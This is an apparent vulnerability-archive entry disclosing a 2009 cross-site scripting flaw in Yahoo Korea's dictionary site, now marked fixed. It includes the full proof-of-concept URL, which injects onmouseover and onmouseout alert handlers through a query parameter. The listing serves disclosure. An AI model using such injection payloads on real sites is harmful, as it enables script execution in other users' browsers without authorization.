Security researcher Soroush.SecProject.Com, has submitted on 10/01/2009 a cross-site-scripting (XSS) vulnerability affecting kr.dic.yahoo.com, which at the time of submission ranked 1 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 10/01/2009. It is currently fixed. |
| Date submitted: 10/01/2009 |
Date published: 10/01/2009 |
Date fixed: 19/01/2009 | Status:  FIXED |
URL: http://kr.dic.yahoo.com/search/common/pop_ykdicplayer.php?wrd=Tested in Mozilla (Onmouseover) --
IRSDL is HERE -- Soroush.SecProject.Com -- Another XSS Trick in
Yahoo&prn=[irsdl]&pth=test&opt=onmouseover%3dalert(window.document.title.substring(15))
onmouseout%3dalert(/SeeYou/) |
|
Click here to view the mirror
|
|
|
| 
